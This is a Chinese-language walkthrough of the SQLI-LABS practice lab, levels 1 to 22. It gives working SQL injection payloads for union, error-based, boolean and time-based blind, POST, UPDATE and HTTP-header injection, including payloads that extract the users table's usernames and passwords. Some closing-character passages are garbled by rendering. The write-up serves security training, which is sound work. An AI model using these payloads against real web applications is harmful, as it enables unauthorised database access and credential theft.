SQLI-LABS Page-1

Page-1(Basic Challenges)

导言:

详细介绍每个类型的第一篇,到后就不会费那么多笔墨去写那些基本的操作,新手最好从第一题开始,循序渐进
闭合字符都是要判断的,不是说我打开一个网站就知道他的闭合字符,我把闭合字符写在每一题标签的下方是为了方便理解、查看

注释问题

GET请求,# 和 --+(+代表空格)表示注释,可以使它们后面的语句不被执行,url中 # 号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括 #,因此使用#闭合无法注释。可以使用 --%20,把空格转换为urlencode编码格式,也不会报错,同理把 # 变成 %23,也不报错
POST请求,# 和 --+ 都能注释后面的语句

information_schema结构(注入常用):

  • information_schema.schemata:记录数据库信息的表
  • information_schema.tables:记录表名信息的表
  • information_schema.columns:记录列名信息的表
  • schema_name:数据库名
  • table_name:表名
  • column_name:列名
  • table_schema:表的数据库名

GET

image.png
**传输方式:**直接在 url 后添加?编写,HackBar,Burp Suite…

联合注入

可以使用 union 语句,且有回显位
常用语句和函数:

  • order by:对指定的字段对结果集进行排序,如果没有该字段就会报错,sql注入用此来判断字段数
  • select:从数据库中选取数据
  • union:合并两个或多个select语句
  • where:有条件地从表中选取数据
  • limit 0,1:从0开始的1个数据
  • database():返回当前数据库
  • concat(str1,str2,…,strn) 将多个数据连成字符串
  • concat_ws(sep,str1,str2,…strn) 将多个数据连成字符串,中间用sep分隔
  • group_concat(str1,str2,…,strn) 将多个数据连成字符串,中间用’,'分隔

Less-1

闭合字符:‘$id’
判断闭合字符:

?id=1(正常显示);?id=1 and 1=2(正常显示) #排除
?id=1' --+(正常显示);?id=1' and 1=2 --+ (错误显示) #确定闭合字符
#"--+":注释后面的内容,+代表空格,必须要空一格才能注释掉后面的内容

image.png
判断字段数:

?id=1' order by n --+
#字段数为3

image.png
image.png
判断回显位:

?id=-1' union select 1,2,3 --+
#查询的源码:"select * from 表 where id=('$id') limit 0,1",('*'代表全部,在这里就是表中的所有列,union内部select语句必须拥有相同数量的列,这也就是为什么要判断字段数)
#回显位在 2,3处

image.png
查询当前数据库:

?id=-1' union select 1,2,database() --+
#库名为 security

image.png
查询当前数据库的表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

image.png
查询当前表的字段:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

image.png
查询数据:

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

image.png

Less-2

闭合字符:$id
image.png

?id=1(正常显示);?id=1 and 1=2(错误显示)
#确定了闭合字符
?id=1 order by n
#字段数为 3
?id=-1 union select 1,2,3
#回显点位 2,3
?id=-1 union select 1,2,database()
#查询当前数据库 security
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security"
#查询当前数据库的表 emails,referers,uagents,users
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
#查询当前表的字段 username,password
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
#查询数据

Less-3

闭合字符:(‘$id’)
判断闭合字符:

?id=1'
#报错,提示 "1") limit 0,1'
?id=1') --+ #正常
?id=1') and 1=2 --+ #报错

image.png

?id=1') order by n --+
#字段数为 3
?id=1') and 1=2 union select 1,2,3 --+
#回显点位 2,3
?id=-1') union select 1,2,database() --+
#查询当前数据库 security
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security" --+
#查询当前数据库的表 emails,referers,uagents,users
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
#查询当前表的字段 username,password
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users --+
#查询数据

Less-4

闭合字符:(“$id”)
判断闭合字符:

#省略了一点
?id=1"
#报错,提示 '"1") limit 0,1'
?id=1") #正常
?id=1") 1 and 1=2 --+ #报错

image.png

?id=1") order by n --+
#字段数为 3
?id=1") and 1=2 union select 1,2,3 --+
#回显点位 2,3
?id=-1") union select 1,2,database() --+
#查询当前数据库 security
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security" --+
#查询当前数据库的表 emails,referers,uagents,users
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
#查询当前表的字段 username,password
?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+
#查询数据

报错注入

不能使用 union()函数,或者没有回显位
常用函数:

  • updatexml(xml_doument,XPath_string,new_value):
    第一个参数:是string格式,为XML文档对象的名称
    第二个参数:代表路径,Xpath格式的字符串例如
    第三个参数:string格式,替换查找到的符合条件的数据
    updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax),最多输出32位

  • extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
    与updatexml用法相似,最多输出32位

  • floor(num):返回小于等于num该值的最大整数

  • exp(x):返回以e为底,x的对数

    当x>=709,exp()就会引起溢出错误,可以用 ~ 运算符按位取反的方式得到一个最大值
    

concat() 和 concat_ws() 函数,用于连接报错的字符串(group_concat()不行),由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码
extractvalue() 和 updatexml 在其他注入也可以使用,他们不用知道字段数(order by),就可以直接进行注入

Less-5

闭合字符:‘$id’

?id=1' union select 1,2,3 --+
#没有回显,改用报错注入

image.png
查询当前数据库:

?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+

image.png
理解了报错注入的方式,接下来就轻松了:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),1) --+
#查询当前数据库的表 emails,referers,uagents,users

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),1) --+
#查询当前表的字段 username,password

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'@',password) from security.users)),1) --+
#查询数据

发现最后的数据不全,这是因为 **updatexml函数 **最多输出32个字节,所以我们需要利用 **substr函数 **
image.png

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31)),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31)),1) --+
...
#substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回
# updatexml() 和 extractvalue() 最多输出32位,0x7e占了1位
注意:这里的pos位置是从1开始的,不是数组的0开始

Less-6

跟 Less-5 一样的注入手法
闭合字符:“$id”
image.png

?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+
#查询当前数据库 security

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),1) --+
#查询当前数据库的表 emails,referers,uagents,users

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),1) --+
#查询当前表的字段 username,password

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31)),1) --+ 
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(password,'@',password) from security.users),1,31)),1) --+
...
#查询数据

布尔盲注

页面回显的结果只有两种 true 和 false
true:
image.png
false:
image.png
常用函数:

  • count(x):返回统计的数量
  • length(str):返回str字符串的长度
  • ascii(str):返回字符串str的最左面字符的ASCII代码值。
  • substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回,注意:这里的pos位置是从1开始的,不是数组的0开始

布尔注入非常繁琐费时,基本是利用工具注入,后面写了sqlmap注入的方式,但需要了解布尔注入的手工注入方式

Less-7

闭合字符:((‘$id’))
判断闭合字符:

?id=1 (true);?id=1 and 1=2 (true) #排除
?id=1' --+ (false); #排除
?id=1" --+ (true);?id=1" and 1=2 --+ (ture) #排除
?id=') --+ (false); #排除
...
?id=1')) --+ (true);?id=1')) and 1=2 --+ (false) #确定闭合字符
#在sql注入过程中,发现页面回线的结果只有两种,确定此题是布尔盲注

判断当前数据库名的长度:

?id=1')) and length(database())=8 --+
#返回了 true,进行下一步;返回false,则继续判断
#数据库名是security,长度为8,代码直接给了true值

image.png
**匹配数据库名的ASCII码:**把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表

?id=1')) and ascii(substr(database(),1,1))=115 --+
?id=1')) and ascii(substr(database(),2,1))=101 --+
...
#数据库是security,这里直接给了true值

判断表的数量:

?id=1')) and (select count(table_name) from information_schema.tables where table_schema="security")=4 --+
#security下共是4个表,直接给了true值

匹配表名的ASCII码:

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 --+
?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),2,1))=109 --+
...
#security第一个表名是emails,直接给了true值

**注意:**不用substr函数会怎样?

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema="security" limit 0,1 --+
#以Less-1为例,limit 0,1 是返回了从0开始的一个数据,而不是一个字符

image.png
判断字段(列)数:

?id=1')) and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 --+
#users下有三个字段,直接给了true值

匹配字段名的ASCII码:

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105 --+
?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),2,1))=100 --+
...
#users第一个字段名是id,直接给了true值

判断字段下有多少数据:

?id=1')) and (select count(username) from security.users)=13 --+
#username下有13个数据,直接给了true值

查询数据:

?id=1')) and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...
#username第一个数据为Dumb,这里直接给了true值

Less-8

跟 Less-7 一样的注入手法
image.png
闭合字符:‘$id’

?id=1' and length(database())=8 --+
#判断当前数据库名的长度

?id=1' and ascii(substr(database(),1,1))=115 --+
...
#匹配数据库名的ASCII码

?id=1' and (select count(table_name) from information_schema.tables where table_schema="security")=4 --+
#判断表的数量

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 --+
...
#匹配表名的ASCII码

?id=1' and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 --+
#判断字段数

?id=1' and (select count(username) from security.users)=13 --+
#判断字段下有多少数据

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...
#查询数据

时间盲注

页面回显的结果只有一种
原理和布尔盲注盲注类似: 用 if(exp,sleep(N),1) 为例
**true:**页面执行了sleep(N),就会等待N秒再执行
**false:**页面秒刷新
常用函数:

  • sleep(N):暂停或睡眠或等待脚本执行N秒(查询多条数据,每一条数据等待N秒)
  • if(expr1,expr2,expr3 ):expr1为true输出expr2,否则输出expr3

Less-9

闭合字符:‘$id’

?id=1;?id=1';?id=1";...
#页面回显的结果只有一种,确定此题是时间盲注

image.png
image.png
判断闭合字符:

?id=1 and if(1,sleep(2),1) #秒刷新
...
?id=1' and if(1,sleep(2),1) --+ #两秒后在刷新
#确定闭合字符

image.png
之后的步骤和布尔注入差不多,根据返回的时间判断是否正确,这里都直接给了true值

 ?id=1' and if(length(database())=8,sleep(2),1) --+
#判断当前数据库名的长度

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1) --+
...
#匹配数据库名的ASCII码

?id=1' and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(2),1) --+
#判断表的数量

?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101,sleep(2),1) --+
...
#匹配表名的ASCII码

?id=1' and if((select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3,sleep(2),1) --+
#判断字段的数量

?id=1' and if((select count(username) from security.users)=13,sleep(2),1) --+
#判断字段下有多少数据

?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(2),1) --+
...
#查询数据

Less-10

跟Less-9一样的注入手法
闭合字符:(“$id”)
image.png

?id=1" and if(1,sleep(2),1) --+
#判断闭合字符

?id=1" and if(length(database())=8,sleep(2),1) --+
#判断当前数据库名的长度

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(2),1) --+
...
#匹配数据库名的ASCII码

?id=1" and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(2),1) --+
#判断表的数量

?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101,sleep(2),1) --+
...
#匹配表名的ASCII码

?id=1" and if((select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3,sleep(2),1) --+
#判断字段的数量

?id=1" and if((select count(username) from security.users)=13,sleep(2),1) --+
#判断字段下有多少数据

?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(2),1) --+
...
#查询数据

POST

image.png
注入工具:Burp Suite、HackBar、…
以 Less-11 为例子,输入 usrname,password(这个随便填)用burp suite抓包,Forward就向页面发送了数据

image.png

也可以用browser插件 HackBar,LOAD 就得到网页信息,EXECUTE 就向网页发送了数据
image.png
这个插件有个小问题,直接传会给报错,把 submit 改成 Submit 就好了
image.png

联合注入

可以使用 union 语句,且有回显位,注意一点 and 和 or

uname=username' #&passwd=password&Submit=Submit
#报错
uname=username' or 1 #&passwd=password&Submit=Submit
#正确
#AND:第一个条件和第二个条件都成立,则 AND 运算符显示一条记录
#OR:第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录
#这里的 username 如果不是数据库里数据,那么他一定是为假的,and怎么用都会报错,or只要一个为真,所以这里用 or

Less-11

闭合字符:‘ u n a m e ′ 或 ′ uname' 或 ' unamepasswd’
判断闭合字符:

uname=username'&passwd=password&Submit=Submit
#报错,提示了 'password' LIMIT 0,1'
uname=username' or 1 #&passwd=password&Submit=Submit
#正确,确定闭合字符

image.png
image.png
判断字段数:

uname=username' order by 2 #&passwd=password&Submit=Submit #正常
uname=username' order by 3 #&passwd=password&Submit=Submit #报错
#确定字段数为2

image.png
image.png
判断回显位:

uname=username' union select 1,2 #&passwd=password&Submit=Submit

image.png
查询当前用户和数据库:

uname=username' union select user(),database() #&passwd=password&Submit=Submit

image.png
查询当前数据库的表:

uname=username' union select user(),group_concat(table_name) from information_schema.tables where table_schema="security" #&passwd=password&Submit=Submit

image.png
查询当前表的字段名:

uname=username' union select user(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" #&passwd=password&Submit=Submit

image.png
查询数据:

uname=username' union select group_concat(username),group_concat(password) from security.users #&passwd=password&Submit=Submit

image.png

Less-12

跟 Less-11 一样的注入手法
闭合字符:(“ u n a m e " ) 或 ( " uname") 或 (" uname")("passwd”)

uname=username") order by n #&passwd=password&Submit=Submit
#判断字段数

uname=username") union select user(),database() #&passwd=password&Submit=Submit
#查询当前用户和数据库

uname=username") union select user(),group_concat(table_name) from information_schema.tables where table_schema="security" #&passwd=password&Submit=Submit
#查询当前数据库的表

uname=username") union select user(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" #&passwd=password&Submit=Submit
#查询当前表的字段

uname=username") union select group_concat(username),group_concat(password) from security.users #&passwd=password&Submit=Submit
#查询数据

报错注入

不能使用 union()函数,或者没有回显位

Less-13

闭合字符:(‘ u n a m e ′ ) 或 ( ′ uname') 或 (' uname)(passwd’)
判断闭合字符:

uname=username'&passwd=password&Submit=Submit
#报错,提示了 'password') LIMIT 0,1'
uname=username') or 1 #&passwd=password&Submit=Submit
#正确,确定了闭合字符

image.png
image.png
判断字段数:

uname=username') order by n #&passwd=password&Submit=Submit
#确定字段数为2

判断回显位:

uname=username') union select 12 #&passwd=password&Submit=Submit
#发现没有回显位,改用报错注入

image.png
查询当前数据库:

uname=username') and extractvalue(1,concat(0x7e,(select database()))) #&passwd=password&Submit=Submit

image.png
查询当前数据库的表:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #&passwd=password&Submit=Submit

image.png
查询当前表的字段:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #&passwd=password&Submit=Submit

image.png
查询数据:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(username,'@',password) from security.users))) #&passwd=password&Submit=Submit
# extractvalue() 和 updatexml() 最多输出32个位,数据没有输出完,借助 substr()

image.png

uname=username') and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #&passwd=password&Submit=Submit

uname=username') and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),62,31))) #&passwd=password&Submit=Submit
...

# 0x7e 占了一位,所以一次只能查询得到31位

image.png
image.png

Less-14

跟 less-13 一样的注入手法
闭合字符:“ u n a m e " 或 " uname" 或 " uname""passwd”

uname=username" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=password&Submit=Submit
#查询当前数据库

uname=username" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #&passwd=password&Submit=Submit
#查询当前数据库的表

uname=username" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #&passwd=password&Submit=Submit
#查询当前表的字段

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #&passwd=password&Submit=Submit

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #&passwd=password&Submit=Submit

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),62,31))) #&passwd=password&Submit=Submit
...
#查询数据

布尔盲注

页面回显的结果只有两种 true 和 false,登录成功和登录失败,可以拿这一点作为布尔盲注的判断
true:
image.png
false:
image.png

Less-15

闭合字符:
判断闭合字符:‘ u n a m e ′ 或 ′ uname' 或 ' unamepasswd’

uname=username" or 1 #&passwd=password&Submit=Submit
#返回了 false,需要继续尝试
uname=username' or 1 #&passwd=password&Submit=Submit
#返回了 true,即确定了闭合字符

判断当前数据库名的长度:

uname=username' or length(database())=8 #&passwd=password&Submit=Submit
#直接给了true值

image.png
匹配数据库名的ASCII码:

uname=username' or ascii(substr(database(),1,1))=115 #&passwd=password&Submit=Submit
uname=username' or ascii(substr(database(),2,1))=101 #&passwd=password&Submit=Submit
...
#直接给了true值

image.png
image.png
判断表的数量:

uname=username' or (select count(table_name) from information_schema.tables where table_schema="security")=4 #&passwd=password&Submit=Submit
#直接给了true值

image.png
匹配表名的ASCII码:

uname=username' or ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 #&passwd=password&Submit=Submic
...
#直接给了true值

image.png
判断字段的数量:

uname=username' or (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 #&passwd=password&Submit=Submit
#直接给了true值

image.png
匹配字段名的ASCII码:

uname=username' or ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105 #&passwd=password&Submit=Submic
...
#直接给了true值

image.png
判断字段下有多少数据:

uname=username' or (select count(username) from security.users)=13 #&passwd=password&Submit=Submic
#直接给了true值

image.png
查询数据:

uname=username' or ascii(substr((select username from security.users limit 0,1),1,1))=68 #&passwd=password&Submit=Submic
...
#直接给了true值

image.png

Less-16

跟Less-15一样的注入手法
闭合字符:(“ u n a m e " ) 或 ( " uname") 或 (" uname")("passwd”)

uname=username") or length(database())=8 #&passwd=password&Submit=Submit
#判断当前数据库名的长度

uname=username") or ascii(substr(database(),1,1))=115 #&passwd=password&Submit=Submit
uname=username") or ascii(substr(database(),2,1))=101 #&passwd=password&Submit=Submit
...
#匹配数据库名的ASCII码

uname=username") or (select count(table_name) from information_schema.tables where table_schema="security")=4 #&passwd=password&Submit=Submit
#直判断表的数量

uname=username") or ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 #&passwd=password&Submit=Submic
...
#匹配表名的ASCII码

uname=username") or (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 #&passwd=password&Submit=Submit
#判断字段的数量

uname=username") or ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105 #&passwd=password&Submit=Submic
...
#匹配字段名的ASCII码

uname=username") or (select count(username) from security.users)=13 #&passwd=password&Submit=Submic
#判断字段下有多少数据

uname=username") or ascii(substr((select username from security.users limit 0,1),1,1))=68 #&passwd=password&Submit=Submic
...
#查询数据

Update

数据库更新注入,具体情况,具体分析

image.png

image.png
函数 check_input 对 ‘ u n a m e ′ 进行检查, 从 ′ uname' 进行检查,从 ' uname进行检查,uname’ 处是无法注入了
而对 ‘$passwd’ 进行了更新,可以利用这个 updata 进行注入
**注意:**这里必须的 ‘uname’ 必须是数据已有的记录

Less-17

闭合字符:‘$passwd’
判断闭合字符:在username多次判断闭合字符无果,考虑对password位置注入

uname=admin&passwd=password'&Submit=Submit
#password 可以随便输入,updata 会对密码进行更新

image.png
查询当前数据库:

uname=admin&passwd=password' or extractvalue(1,concat(0x7e,database())) #&Submit=Submit

image.png
查询当前数据库的表:

uname=admin&passwd=password' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #&Submit=Submit

image.png
查询当前表的字段:

uname=admin&passwd=password' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #&Submit=Submit

image.png
查询数据:

uname=admin&passwd=password' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #&Submit=Submit
uname=admin&passwd=password' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #&Submit=Submit
...

image.png
image.png


Header

请求头注入,User-Agent、Referer、Cookie、…,注入点不同,注入手法相似

User-Agent

**User-Agent:**通常就是用户的浏览器相关信息。例如:User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

image.png

u n a m e ′ 和 ′ uname' 和 ' unamepasswd’ 都进行了过滤
image.png
需要正确的账号密码才能执行到insert

Less-18

闭合字符:’ or 1 or ’ 或 ’ and 1 and ’

uname=admin&passwd=admin&submit=Submit
#这里主要是判断账号能否登入
#Header注入也可以用 Burp Suite

image.png
判断闭合字符:
**测试:**User-Agent: ’
image.png
源代码,‘ u a g e n t ′ , 在 ′ uagent',在 ' uagentIP’ 和 ‘uname’ 的前面,就不能把他们注释掉,不然根本 insert 不进
image.png

User-Agent: ' or 1 or '
#在数据库里就是这样的(''or 1 or '','$ip','$uname')
#达到了闭合的效果,进行下一步

image.png
查询当前数据库:

User-Agent:' or extractvalue(1,concat(0x7e,database())) or '

image.png
查询当前数据库的表:

User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) or '

image.png
查询当前表的字段:

User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) or '

image.png
查询数据:

User-Agent: ' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) or '
User-Agent: ' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) or '
...

image.png
image.png

Referer

Referer:指当前请求的URL是在什么地址引用的。例如在www.a.com/index.html页面中点击一个指向www.b.com的超链接,那么,这个www.b.com的请求中的Referer就是www.a.com/index.html。通常我们见到的图片防盗链就是用这个实现的
image.png
u n a m e ′ 和 ′ uname' 和 ' unamepasswd’ 进行了过滤
需要正确的账号密码登录,才能执行insert

Less-19

闭合字符:’ or 1 or ’ 或 ’ and 1 and ’
判断闭合字符:

Referer: '
Referer: ' or 1 or '
#在数据库里就是这样的(''or 1 or '','$ip')

image.png
image.png
查询当前数据库:

Referer: ' or extractvalue(1,concat(0x7e,database())) or '

image.png
查询当前数据库的表:

Referer: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) or '

image.png
查询当前表的字段:

Referer: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) or '

image.png
查询数据:

Referer: ' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) or '
Referer: ' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) or '
...

image.png
image.png


Cookie

**Cookie:**浏览器向服务器发送请求时发送cookie,或者服务器向浏览器附加cookie,就是将cookie附近在这里的。例如:Cookie:user=admin
源代码如果你设置了Cookie,那么就会执行下面的语句
image.png
image.png
不会执行:
image.png

Less-20

登入一个账号,Hackbar LOAD命令 或 Burp Suite抓包
image.png
闭合字符:‘$cookee’
查询当前数据库:

Dumb' or extractvalue(1,concat(0x7e,database())) #
#uname=Dumb 这个可以随便填,不会影响到 extractvalue()

image.png
查询当前数据库下的表:

Dumb' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #

image.png
查询当前表的字段:

Dumb' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #

image.png
查询数据:

Dumb' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #

Dumb' or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #

image.png
image.png

Less-21

base64_decode(),对其进行 base64解码
image.png
登入一个账号,Hackbar LOAD命令,先把 %3D url解码(从网页上取来的)再base64解码,即 Dumb
image.png
闭合字符:(‘$uname’)
查询当前数据库:

Dumb') or extractvalue(1,concat(0x7e,database())) #

base64: RHVtYicpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpKSAj

image.png
查询当数据库的表:

Dumb') or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #

base64: RHVtYicpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IikpKSAj

image.png
查询当前表的字段:

Dumb') or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #

base64: RHVtYicpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0ic2VjdXJpdHkiIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIpKSkgIw==

image.png
查询数据:

Dumb') or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #
Dumb') or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #
...

base64:
RHVtYicpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnQCcscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpLDEsMzEpKSkgIw==

RHVtYicpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnQCcscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpLDMxLDMxKSkpICM=

image.png
image.png

Less-22

改变了闭合字符
image.png
登入一个账号,Hackbar LOAD命令 或 Burp Suite抓包,RHVtYg%3D%3D,=(url编码%3D),即Dumb
image.png
image.png
这里给跳回 Less-21,地址栏的文件名变了 LEss-22
闭合字符:“$cookee1”
查询当前数据库:

Dumb" or extractvalue(1,concat(0x7e,database())) #

base64: RHVtYiIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSkpICM=

image.png
查询当前数据库的表:

Dumb" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #

base64: RHVtYiIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ic2VjdXJpdHkiKSkpICM=

image.png
查询当前表的字段:

Dumb" or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #

base64: RHVtYiIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSJzZWN1cml0eSIgYW5kIHRhYmxlX25hbWU9InVzZXJzIikpKSAj

image.png
查询数据:

Dumb" or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #
Dumb" or extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #
...

base64:
RHVtYiIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2Usc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCdAJyxwYXNzd29yZCkgZnJvbSBzZWN1cml0eS51c2VycyksMSwzMSkpKSAj

